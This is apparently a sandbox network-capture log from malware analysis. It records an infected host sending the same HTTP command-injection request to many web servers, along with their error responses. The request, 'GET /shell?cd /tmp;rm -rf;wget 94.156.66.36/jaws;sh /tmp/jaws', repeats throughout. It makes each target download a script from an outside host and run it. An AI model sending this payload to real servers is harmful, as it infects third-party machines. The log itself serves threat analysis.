Mar 13, 2024 09:36:38.105875015 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.15	53270	45.56.75.180	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:38.136681080 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:38.267759085 CET	530	IN	HTTP/1.1 404 Not Found Date: Wed, 13 Mar 2024 08:36:38 GMT Server: Apache/2.2.22 (Ubuntu) Vary: Accept-Encoding Content-Length: 278 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 32 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.22 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.15	45996	138.100.153.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:38.176011086 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.15	55624	104.21.58.203	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:38.177510023 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.15	53550	34.197.97.121	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:38.184057951 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:38.280308008 CET	148	IN	HTTP/1.0 302 Moved Temporarily Location: https:///shell?cd+/tmp;rm+-rf+*;wget+ Server: BigIP Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.15	45822	5.79.67.86	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:38.252909899 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:38.417572975 CET	404	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:38 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.15	47544	213.136.17.217	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:38.266539097 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:38.447356939 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Wed, 13 Mar 2024 08:36:38 GMT Server: lighttpd/1.4.45 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.15	57568	185.187.46.180	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:38.267067909 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:38.443819046 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.15	53214	52.79.35.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:38.339927912 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:38.673374891 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Wed, 13 Mar 2024 08:36:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.15	55184	202.57.133.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:38.371325970 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:40.245304108 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:42.645131111 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:47.253042936 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:56.212748051 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.15	56880	149.56.176.134	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.146744967 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:41.255220890 CET	354	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Wed, 13 Mar 2024 08:36:41 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.15	57064	104.27.121.82	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.234949112 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.15	43148	23.213.192.208	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.299401045 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:41.560077906 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:41 GMT Date: Wed, 13 Mar 2024 08:36:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 38 30 65 33 63 31 37 26 23 34 36 3b 31 37 31 30 33 31 39 30 30 31 26 23 34 36 3b 63 38 31 30 39 30 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.580e3c17.1710319001.c81090c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.15	57062	43.251.157.77	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.349113941 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:41.659746885 CET	503	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:41 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 309 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 67 69 67 73 67 69 67 73 63 6c 6f 75 64 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.18 (Ubuntu) Server at gigsgigscloud.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.15	33740	35.186.249.253	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.364187956 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:41.493226051 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Wed, 13 Mar 2024 08:36:41 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.15	54002	104.116.252.180	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.394141912 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:41.553248882 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:41 GMT Date: Wed, 13 Mar 2024 08:36:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 34 63 63 31 39 62 38 26 23 34 36 3b 31 37 31 30 33 31 39 30 30 31 26 23 34 36 3b 33 37 38 64 62 36 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.14cc19b8.1710319001.378db6c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.15	40854	154.49.138.200	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.395137072 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:41.555227995 CET	399	IN	HTTP/1.1 400 Bad Request Server: hcdn Date: Wed, 13 Mar 2024 08:36:41 GMT Content-Type: text/html Content-Length: 149 Connection: close alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 17d5b2f1e7461c17d7670df1b22e3087-fast-edge3 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 68 63 64 6e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>hcdn</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.15	49736	35.180.109.177	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.395910025 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:41.556844950 CET	529	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 335 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 69 70 2d 31 37 32 2d 33 31 2d 33 34 2d 31 32 37 2e 65 75 2d 77 65 73 74 2d 33 2e 63 6f 6d 70 75 74 65 2e 69 6e 74 65 72 6e 61 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at ip-172-31-34-127.eu-west-3.compute.internal Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.15	42506	18.173.186.56	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:41.409095049 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
